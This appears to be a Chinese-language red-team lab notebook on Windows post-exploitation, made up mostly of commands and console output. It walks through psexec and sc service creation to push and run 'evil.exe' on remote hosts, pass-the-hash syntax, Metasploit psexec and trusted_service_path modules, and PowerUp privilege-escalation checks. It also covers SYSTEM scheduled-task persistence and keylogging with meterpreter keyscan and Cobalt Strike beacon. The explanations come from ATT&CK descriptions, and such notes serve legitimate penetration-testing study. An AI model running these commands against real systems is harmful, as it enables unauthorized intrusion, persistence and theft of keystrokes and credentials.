[-] could not spawn powershell -nop -exec bypass -EncodedCommand QwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBcAEQAZQBzAGsAdABvAHAAXABwAG8AdwByAHMAaABlAGwAbABcAHAAbwB3AGUAcgB1AHAALgBwAHMAMQA=: 2
beacon> powershell Invoke-AllChecks
[*] Tasked beacon to run: Invoke-AllChecks
net use \COMP\ADMIN$ "password" /user:DOMAIN_NAME\UserName
copy evil.exe \COMP\ADMIN$\acachsrv.exe
sc \COMP create acachsrv binPath= "C:\Windows\System32\acachsrv.exe" start= auto description= "Description here" DisplayName= "DisplayName"
sc \COMP start acachsrv
C:\Documents and Settings\Administrator>net use \\COMP\ADMIN$ "password" /user:D
OMAIN_NAME\UserName
发生系统错误 67。
找不到网络名。
C:\Documents and Settings\Administrator>copy evil.exe \\COMP\ADMIN$\System32\aca
chsrv.exe
系统找不到指定的文件。
C:\Documents and Settings\Administrator>sc \\COMP create acachsrv binPath= "C:\W
indows\System32\acachsrv.exe" start= auto DisplayName= "DisplayName"
[SC] OpenSCManager 失败 1722:
RPC 服务器不可用。
C:\Documents and Settings\Administrator>sc \\COMP start acachsrv
[SC] OpenSCManager 失败 1722:
RPC 服务器不可用。
shell net use \COMP\ADMIN$ "password" /user:DOMAIN_NAME\UserName
shell copy evil.exe \COMP\ADMIN$\acachsrv.exe
shell sc \COMP create acachsrv binPath= "C:\Windows\System32\acachsrv.exe" start= auto description= "Description here" DisplayName= "DisplayName"
shell sc \COMP start acachsrv
C:\Documents and Settings\Administrator>net use \\COMP\ADMIN$ "password" /user:D
OMAIN_NAME\UserName
发生系统错误 67。
找不到网络名。
C:\Documents and Settings\Administrator>copy evil.exe \\COMP\ADMIN$\System32\aca
chsrv.exe
系统找不到指定的文件。
C:\Documents and Settings\Administrator>sc \\COMP create acachsrv binPath= "C:\W
indows\System32\acachsrv.exe" start= auto DisplayName= "DisplayName"
[SC] OpenSCManager 失败 1722:
RPC 服务器不可用。
C:\Documents and Settings\Administrator>sc \\COMP start acachsrv
[SC] OpenSCManager 失败 1722:
RPC 服务器不可用。
原理：
psexec copies over a file to the remote box via SMB, then creates a service (usually a randomly named one) which points to the binary that was just copied over, starts the service, then deletes the service.
使用psexec通过smb复制文件，然后创建一个指向刚刚复制过来的二进制文件的随机名的服务，然后启动、删除服务
psexec /accepteula \ip -u domain\user -p password -c -f \smbip\share\file.exe (Copy and execute file.exe on the remote system)
psexec /accepteula \ip -u domain\user -p lm:ntlm cmd.exe /c dir c:\Progra~1 (Run cmd.exe on the remote system using the lm:ntlm password hash - aka pass the hash)
psexec /accepteula \ip -s cmd.exe (Run cmd.exe on the remote box as the SYSTEM user account)
exploit/windows/smb/psexec
exploit/windows/local/current_user_psexec
auxiliary/admin/smb/psexec_command
auxiliary/scanner/smb/psexec_loggedin_users
exploit/windows/smb/psexec_psh
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.2.103
rhosts => 192.168.2.103
msf5 exploit(windows/smb/psexec) > exploit
[-] Handler failed to bind to 192.168.2.103:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[-] 192.168.2.103:445 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/psexec) > use exploit/windows/local/current_user_psexec
msf5 exploit(windows/local/current_user_psexec) > show options
Module options (exploit/windows/local/current_user_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DISPNAME no Service display name (Default: random)
INTERNAL_ADDRESS no Session's internal address or hostname for the victims to grab the payload from (Default: detected)
KERBEROS false yes Authenticate via Kerberos, dont resolve hostnames
NAME no Service name on each target in RHOSTS (Default: random)
RHOSTS no Target address range or CIDR identifier
SESSION yes The session to run this module on.
TECHNIQUE PSH yes Technique to use (Accepted: PSH, SMB)
Exploit target:
Id Name
-- ----
0 Universal
msf5 exploit(windows/local/current_user_psexec) > set session 1
session => 1
msf5 exploit(windows/local/current_user_psexec) > exploit
msf5 exploit(windows/local/current_user_psexec) > use auxiliary/admin/smb/psexec_command
msf5 auxiliary(admin/smb/psexec_command) > show options
Module options (auxiliary/admin/smb/psexec_command):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND net group "Domain Admins" /domain yes The command you want to execute on the remote host
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
WINPATH WINDOWS yes The name of the remote Windows directory
msf5 auxiliary(admin/smb/psexec_command) > set rhosts 192.168.2.103
rhosts => 192.168.2.103
msf5 auxiliary(admin/smb/psexec_command) > exploit
[*] 192.168.2.103:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(admin/smb/psexec_command) > use auxiliary/scanner/smb/psexec_loggedin_users
msf5 auxiliary(scanner/smb/psexec_loggedin_users) > show options
Module options (auxiliary/scanner/smb/psexec_loggedin_users):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
USERNAME no The name of a specific user to search for
WINPATH WINDOWS yes The name of the Windows directory
msf5 auxiliary(scanner/smb/psexec_loggedin_users) > set rhosts 192.168.2.103
rhosts => 192.168.2.103
msf5 auxiliary(scanner/smb/psexec_loggedin_users) > exploit
[-] 192.168.2.103:445 - The connection was refused by the remote host (192.168.2.103:445).
[*] 192.168.2.103:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/psexec_loggedin_users) > use exploit/windows/smb/psexec_psh
msf5 exploit(windows/smb/psexec_psh) > show options
Module options (exploit/windows/smb/psexec_psh):
Name Current Setting Required Description
---- --------------- -------- -----------
DryRun false no Prints the powershell command that would be used
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/smb/psexec_psh) > set rhosts 192.168.2.103
rhosts => 192.168.2.103
msf5 exploit(windows/smb/psexec_psh) > exploit
psexec COMP_NAME {listener name} (via sc)
psexec_sh COMP_NAME {listener name} (via powershell)
原理：
Windows systems use a common method to look for required DLLs to load into a program. [1] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.
Adversaries may perform DLL preloading, also called binary planting attacks, [2] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. [3] Adversaries may use this behavior to cause the program to load a malicious DLL.
Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. [4] [5] [6]
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.
Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
通俗的来理解就是windows下的dll文件可以被替换或可以修改.manifest或.local重定向文件、目录或连接来直接修改程序加载DLL来达到权限提升或者其他的效果。powershell.exe -epbypass PowerUp.ps1 Invoke-AllChecks
PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass .\powerup.ps1 Invoke-AllChecks
exploit/windows/local/trusted_service_path
msf5 exploit(windows/local/trusted_service_path) > show options
Module options (exploit/windows/local/trusted_service_path):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Exploit target:
Id Name
-- ----
0 Windows
msf5 exploit(windows/local/trusted_service_path) > set session 1
session => 1
msf5 exploit(windows/local/trusted_service_path) > exploit
[-] Handler failed to bind to 192.168.2.103:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Finding a vulnerable service...
[-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
[*] Exploit completed, but no session was created.
powershell-import /path/to/PowerUp.ps1
powershell Invoke-AllChecks
原理：
Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
Services
Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.
Executable Installers
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. [1] [2]
简单来说就是可以替换文件、服务或者使用安装文件来获取权限
powershell.exe -epbypass PowerUp.ps1
Invoke-AllChecks
PS C:\Users\Administrator\Desktop\powrshell> Invoke-AllChecks
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!
[*] Checking for unquoted service paths...
ServiceName : VOneMgrSvcForNG
Path : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=AppendData/AddSu
bdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
CanRestart : True
ServiceName : VOneMgrSvcForNG
Path : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
CanRestart : True
ServiceName : VOneMgrSvcForNG
Path : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Administrators; Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
CanRestart : True
exploit/windows/local/trusted_service_path
msf5 exploit(windows/local/trusted_service_path) > exploit
[*] Started reverse TCP handler on 192.168.2.103:4444
[*] Finding a vulnerable service...
[-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/trusted_service_path) >
netstat -ano
PS C:\Users\Administrator\Desktop\powrshell> netstat -ano
活动连接
协议 本地地址 外部地址 状态 PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 860
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:515 0.0.0.0:0 LISTENING 2988
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 376
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 64
TCP 0.0.0.0:7443 0.0.0.0:0 LISTENING 5712
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 496
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1248
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1136
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2028
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 2612
TCP 0.0.0.0:49672 0.0.0.0:0 LISTENING 604
TCP 0.0.0.0:49673 0.0.0.0:0 LISTENING 2784
TCP 0.0.0.0:49683 0.0.0.0:0 LISTENING 632
TCP 127.0.0.1:3443 0.0.0.0:0 LISTENING 3416
TCP 127.0.0.1:35432 0.0.0.0:0 LISTENING 3456
TCP 127.0.0.1:49677 127.0.0.1:49678 ESTABLISHED 3416
TCP 127.0.0.1:49678 127.0.0.1:49677 ESTABLISHED 3416
TCP 192.168.97.132:139 0.0.0.0:0 LISTENING 4
TCP 192.168.97.132:50215 40.90.189.152:443 ESTABLISHED 2740
TCP 192.168.97.132:50231 185.199.109.153:443 TIME_WAIT 0
TCP 192.168.97.132:50232 172.217.25.13:443 TIME_WAIT 0
TCP 192.168.97.132:50233 203.208.39.227:443 TIME_WAIT 0
TCP 192.168.97.132:50235 203.208.50.94:443 TIME_WAIT 0
TCP 192.168.97.132:50236 216.58.197.99:443 TIME_WAIT 0
TCP 192.168.97.132:50237 203.208.39.227:80 TIME_WAIT 0
TCP 192.168.97.132:50238 216.117.2.180:443 TIME_WAIT 0
TCP 192.168.97.132:50241 203.208.43.77:443 TIME_WAIT 0
TCP 192.168.97.132:50242 203.208.40.62:443 TIME_WAIT 0
TCP 192.168.97.132:50244 3.224.99.7:443 TIME_WAIT 0
TCP 192.168.97.132:50246 172.217.31.234:443 TIME_WAIT 0
TCP 192.168.97.132:50247 54.186.190.8:443 TIME_WAIT 0
TCP 192.168.97.132:50248 3.213.73.75:443 TIME_WAIT 0
TCP 192.168.97.132:50249 216.117.2.180:443 TIME_WAIT 0
TCP 192.168.97.132:50250 216.117.2.180:443 TIME_WAIT 0
TCP 192.168.97.132:50251 216.117.2.180:443 TIME_WAIT 0
TCP 192.168.97.132:50252 123.129.254.12:80 TIME_WAIT 0
TCP 192.168.97.132:50253 123.129.254.12:80 TIME_WAIT 0
TCP 192.168.97.132:50256 216.58.221.238:443 TIME_WAIT 0
TCP 192.168.97.132:50257 52.139.250.253:443 ESTABLISHED 2740
TCP [::]:135 [::]:0 LISTENING 860
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:515 [::]:0 LISTENING 2988
TCP [::]:3389 [::]:0 LISTENING 376
TCP [::]:49664 [::]:0 LISTENING 496
TCP [::]:49665 [::]:0 LISTENING 1248
TCP [::]:49666 [::]:0 LISTENING 1136
TCP [::]:49667 [::]:0 LISTENING 2028
TCP [::]:49668 [::]:0 LISTENING 2612
TCP [::]:49672 [::]:0 LISTENING 604
TCP [::]:49673 [::]:0 LISTENING 2784
TCP [::]:49683 [::]:0 LISTENING 632
TCP [::1]:35432 [::]:0 LISTENING 3456
TCP [::1]:35432 [::1]:50211 ESTABLISHED 3456
TCP [::1]:35432 [::1]:50212 ESTABLISHED 3456
TCP [::1]:35432 [::1]:50213 ESTABLISHED 3456
TCP [::1]:35432 [::1]:50214 ESTABLISHED 3456
TCP [::1]:50211 [::1]:35432 ESTABLISHED 3416
TCP [::1]:50212 [::1]:35432 ESTABLISHED 3416
TCP [::1]:50213 [::1]:35432 ESTABLISHED 3416
TCP [::1]:50214 [::1]:35432 ESTABLISHED 3416
UDP 0.0.0.0:500 *:* 2772
UDP 0.0.0.0:3389 *:* 376
UDP 0.0.0.0:4500 *:* 2772
UDP 0.0.0.0:5050 *:* 64
UDP 0.0.0.0:5353 *:* 2204
UDP 0.0.0.0:5355 *:* 2204
UDP 0.0.0.0:58658 *:* 5712
UDP 127.0.0.1:1900 *:* 2268
UDP 127.0.0.1:4499 *:* 236
UDP 127.0.0.1:58657 *:* 5712
UDP 127.0.0.1:62902 *:* 2268
UDP 127.0.0.1:63142 *:* 3260
UDP 192.168.97.132:137 *:* 4
UDP 192.168.97.132:138 *:* 4
UDP 192.168.97.132:1900 *:* 2268
UDP 192.168.97.132:62901 *:* 2268
UDP [::]:500 *:* 2772
UDP [::]:3389 *:* 376
UDP [::]:4500 *:* 2772
UDP [::]:5353 *:* 2204
UDP [::]:5355 *:* 2204
UDP [::1]:1900 *:* 2268
UDP [::1]:62900 *:* 2268
UDP [::1]:63143 *:* 3456
UDP [fe80::bc99:52b6:7f3b:cdb8%11]:1900 *:* 2268
UDP [fe80::bc99:52b6:7f3b:cdb8%11]:62899 *:* 2268/post/windows/gather/tcpnetstat
msf5 exploit(windows/local/trusted_service_path) > use post/windows/gather/tcpnetstat
msf5 post(windows/gather/tcpnetstat) > show options
Module options (post/windows/gather/tcpnetstat):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
msf5 post(windows/gather/tcpnetstat) > set session 1
session => 1
msf5 post(windows/gather/tcpnetstat) > exploit
[*] TCP Table Size: 472
[*] Total TCP Entries: 13
[*] Connection Table
================
STATE LHOST LPORT RHOST RPORT
----- ----- ----- ----- -----
ESTABLISHED 192.168.2.114 1068 192.168.2.103 5555
LISTEN 0.0.0.0 80 0.0.0.0 _
LISTEN 0.0.0.0 135 0.0.0.0 _
LISTEN 0.0.0.0 445 0.0.0.0 _
LISTEN 0.0.0.0 1025 0.0.0.0 _
LISTEN 0.0.0.0 1026 0.0.0.0 _
LISTEN 0.0.0.0 1035 0.0.0.0 _
LISTEN 0.0.0.0 1801 0.0.0.0 _
LISTEN 0.0.0.0 2103 0.0.0.0 _
LISTEN 0.0.0.0 2105 0.0.0.0 _
LISTEN 0.0.0.0 2107 0.0.0.0 _
LISTEN 0.0.0.0 3306 0.0.0.0 _
LISTEN 192.168.2.114 139 0.0.0.0 _
[*] Post module execution completed
#### ｃs下操作：
shell c:\windows\sysnative\netstat.exe -ano
beacon> shell c:\windows\system32\netstat.exe -ano
[*] Tasked beacon to run: c:\windows\system32\netstat.exe -ano
[+] host called home, sent: 67 bytes
[+] received output:
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1100
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 688
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 400
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING 984
TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING 1932
TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING 1932
TCP 0.0.0.0:2103 0.0.0.0:0 LISTENING 1932
TCP 0.0.0.0:2105 0.0.0.0:0 LISTENING 1932
TCP 0.0.0.0:2107 0.0.0.0:0 LISTENING 1932
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1252
TCP 192.168.2.114:139 0.0.0.0:0 LISTENING 4
TCP 192.168.2.114:1068 192.168.2.103:5555 ESTABLISHED 572
TCP 192.168.2.114:1530 192.168.2.105:139 TIME_WAIT 0
TCP 192.168.2.114:1531 192.168.2.105:139 TIME_WAIT 0
TCP 192.168.2.114:1532 120.41.45.100:80 TIME_WAIT 0
UDP 0.0.0.0:445 *:* 4
UDP 0.0.0.0:500 *:* 400
UDP 0.0.0.0:1027 *:* 748
UDP 0.0.0.0:1034 *:* 1932
UDP 0.0.0.0:3527 *:* 1932
UDP 0.0.0.0:4500 *:* 400
UDP 127.0.0.1:123 *:* 800
UDP 192.168.2.114:123 *:* 800
UDP 192.168.2.114:137 *:* 4
UDP 192.168.2.114:138 *:* 4
net session | find / "\"
PS C:\Users\Administrator\Desktop\powrshell> net session | find / "\\"
FIND: 无效的开关
post/windows/gather/enum_logged_on_users
msf5 post(windows/gather/tcpnetstat) > use post/windows/gather/enum_logged_on_users
msf5 post(windows/gather/enum_logged_on_users) > show options
Module options (post/windows/gather/enum_logged_on_users):
Name Current Setting Required Description
---- --------------- -------- -----------
CURRENT true yes Enumerate currently logged on users
RECENT true yes Enumerate Recently logged on users
SESSION yes The session to run this module on.
msf5 post(windows/gather/enum_logged_on_users) > set session 1
session => 1
msf5 post(windows/gather/enum_logged_on_users) > exploit
[*] Running against session 1
Current Logged Users
====================
SID User
--- ----
S-1-5-21-1911985068-4225083820-4011728908-500 ROOT-5DE52AC98B\Administrator
[+] Results saved in: /root/.msf4/loot/20190907124429_default_192.168.2.114_host.users.activ_626805.txt
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 %SystemDrive%\Documents and Settings\LocalService
S-1-5-20 %SystemDrive%\Documents and Settings\NetworkService
S-1-5-21-1911985068-4225083820-4011728908-500 %SystemDrive%\Documents and Settings\Administrator
[*] Post module execution completed
shell net session | find / "\"
beacon> shell net session | find / "\\"
[*] Tasked beacon to run: net session | find / "\\"
原理：
Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. [1]
An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
主要就是使用at或者sc命令去启动一个程序，不过需要满足使用RPC的适当身份验证
schtasks [/s HOSTNAME]
PS C:\Users\Administrator\Desktop\powrshell> schtasks
文件夹: \
任务名 下次运行时间 模式
======================================== ====================== ===============
信息: 目前在你的访问级别上不存在任何可用的计划任务。
文件夹: \Microsoft
任务名 下次运行时间 模式
======================================== ====================== ===============
信息: 目前在你的访问级别上不存在任何可用的计划任务。
文件夹: \Microsoft\Windows
任务名 下次运行时间 模式
======================================== ====================== ===============
信息: 目前在你的访问级别上不存在任何可用的计划任务。
文件夹: \Microsoft\Windows\.NET Framework
shell schtasks
beacon> shell schtasks
[*] Tasked beacon to run: schtasks
[+] host called home, sent: 39 bytes
[+] received output:
信息: 系统里没有计划任务。
schtasks [/S HOSTNAME] /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru "System" [/rp password]
Requirements for running scheduled tasks:
net start schedule
sc config schedule start= auto
PS C:\Users\Administrator\Desktop\powrshell> net start schedule
请求的服务已经启动。
请键入 NET HELPMSG 2182 以获得更多的帮助。
PS C:\Users\Administrator\Desktop\powrshell> schtasks /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru
"System"
成功: 成功创建计划任务 "acachesrv"。
shell schtasks [/S HOSTNAME] /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru "System" [/rp password]
Requirements for running scheduled tasks:
shell net start schedule
shell sc config schedule start= auto
starting the keylogger:
keyscan_start
when you're ready to get the logs:
keyscan_dump
when you're done keylogging:
keyscan_stop
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
1513215212
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
keylogger 1320 x86(进程名、系统版本)
beacon> keylogger 1200 x86
[*] Tasked beacon to log keystrokes in 1200 (x86)
[+] host called home, sent: 65610 bytes
[-] could not open process 1200: 5
[-] Could not connect to pipe: 2
[+] received keystrokes
[+] received keystrokes
beacon> keylogger 1328 null
[*] Tasked beacon to log keystrokes in 1328 (null)
[+] host called home, sent: 65610 bytes
[-] could not open process 1328: 5
[-] Could not connect to pipe: 2
[+] received keystrokes
tasklist /v [/svc]
net start
qprocess *
PS C:\Users\Administrator\Desktop\powrshell> tasklist /svc
映像名称 PID 服务
========================= ======== ============================================
System Idle Process 0 暂缺
System 4 暂缺
Registry 88 暂缺
smss.exe 296 暂缺
csrss.exe 396 暂缺
wininit.exe 496 暂缺
csrss.exe 508 暂缺
winlogon.exe 588 暂缺
services.exe 604 暂缺
lsass.exe 632 KeyIso, SamSs
svchost.exe 732 BrokerInfrastructure, DcomLaunch, Power,
SystemEventsBroker
fontdrvhost.exe 744 暂缺
fontdrvhost.exe 812 暂缺
svchost.exe 860 RpcEptMapper, RpcSs
svchost.exe 904 LSM
dwm.exe 1000 暂缺
svchost.exe 376 TermService
svchost.exe 656 CoreMessagingRegistrar
svchost.exe 808 lmhosts
svchost.exe 1120 NcbService
svchost.exe 1136 Schedule
svchost.exe 1176 ProfSvc
svchost.exe 1248 EventLog
svchost.exe 1300 UserManager
svchost.exe 1332 nsi
svchost.exe 1348 UmRdpService
svchost.exe 1420 TimeBrokerSvc
svchost.exe 1444 Dhcp
svchost.exe 1512 CertPropSvc
svchost.exe 1548 EventSystem
svchost.exe 1580 SysMain
svchost.exe 1616 Themes
Memory Compression 1716 暂缺
WUDFHost.exe 1736 暂缺
svchost.exe 1792 LanmanWorkstation
svchost.exe 1812 SENS
svchost.exe 1844 NlaSvc
svchost.exe 1892 AudioEndpointBuilder
svchost.exe 1916 FontCache
svchost.exe 2028 SessionEnv
svchost.exe 2036 Audiosrv
svchost.exe 2064 netprofm
svchost.exe 2204 Dnscache
svchost.exe 2220 DusmSvc
svchost.exe 2240 Wcmsvc
svchost.exe 2276 StateRepository
svchost.exe 2504 WlanSvc
svchost.exe 2544 ShellHWDetection
spoolsv.exe 2612 Spooler
svchost.exe 2648 BFE, mpssvc
svchost.exe 2772 IKEEXT
svchost.exe 2784 PolicyAgent
wvs_supervisor.exe 2844 Acunetix
pg_ctl.exe 2852 Acunetix Database
svchost.exe 2860 CryptSvc
svchost.exe 2884 DPS
FNPLicensingService.exe 2900 FlexNet Licensing Service
svchost.exe 2928 Winmgmt
svchost.exe 2988 LPDSVC
svchost.exe 3016 LanmanServer
svchost.exe 1656 SstpSvc
vmtoolsd.exe 2364 VMTools
svchost.exe 2312 TrkWks
sv_service.exe 236 VOneMgrSvcForNG
svchost.exe 2740 WpnService
svchost.exe 3236 WdiServiceHost
svchost.exe 3260 iphlpsvc
opsrv.exe 3416 暂缺
svchost.exe 3448 RasMan
postgres.exe 3456 暂缺
conhost.exe 3464 暂缺
conhost.exe 3516 暂缺
dllhost.exe 3976 COMSysApp
postgres.exe 644 暂缺
postgres.exe 2892 暂缺
postgres.exe 660 暂缺
postgres.exe 2920 暂缺
postgres.exe 2880 暂缺
msdtc.exe 4256 MSDTC
svchost.exe 4972 CDPUserSvc_56a0b
sihost.exe 4988 暂缺
svchost.exe 5012 WpnUserService_56a0b
taskhostw.exe 5088 暂缺
svchost.exe 5116 TokenBroker
svchost.exe 4452 TabletInputService
svchost.exe 64 CDPSvc
ctfmon.exe 4732 暂缺
svchost.exe 1904 PcaSvc
explorer.exe 5188 暂缺
svchost.exe 5616 cbdhsvc_56a0b
sv_websvr.exe 5712 暂缺
ShellExperienceHost.exe 5844 暂缺
RuntimeBroker.exe 6016 暂缺
WindowsInternal.Composabl 5184 暂缺
vmtoolsd.exe 4816 暂缺
jusched.exe 328 暂缺
AttackView.exe 5992 暂缺
svchost.exe 2268 SSDPSRV
powershell.exe 1272 暂缺
conhost.exe 3816 暂缺
svchost.exe 4400 LicenseManager
svchost.exe 4548 DsSvc
svchost.exe 2228 StorSvc
WmiPrvSE.exe 3944 暂缺
postgres.exe 1364 暂缺
postgres.exe 4520 暂缺
postgres.exe 4488 暂缺
postgres.exe 3392 暂缺
svchost.exe 2212 BITS
svchost.exe 4656 WinHttpAutoProxySvc
WmiPrvSE.exe 6588 暂缺
tasklist.exe 6920 暂缺
PS C:\Users\Administrator\Desktop\powrshell> net start
已经启动以下 Windows 服务:
Acunetix
Acunetix Database
Background Tasks Infrastructure Service
Base Filtering Engine
Certificate Propagation
CNG Key Isolation
COM+ Event System
COM+ System Application
CoreMessaging
Cryptographic Services
Data Sharing Service
DCOM Server Process Launcher
DHCP Client
Diagnostic Policy Service
Diagnostic Service Host
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
FlexNet Licensing Service
IKE and AuthIP IPsec Keying Modules
IP Helper
IPsec Policy Agent
Local Session Manager
LPD Service
Network Connection Broker
Network List Service
Network Location Awareness
Network Store Interface Service
Power
Print Spooler
Program Compatibility Assistant Service
Remote Access Connection Manager
Remote Desktop Configuration
Remote Desktop Services
Remote Desktop Services UserMode Port Redirector
Remote Procedure Call (RPC)
RPC Endpoint Mapper
Secure Socket Tunneling Protocol Service
Security Accounts Manager
Server
Shell Hardware Detection
SSDP Discovery
SSL VPN Management Service Program For NG
State Repository Service
Storage Service
SysMain
System Event Notification Service
System Events Broker
Task Scheduler
TCP/IP NetBIOS Helper
Themes
Time Broker
Touch Keyboard and Handwriting Panel Service
User Manager
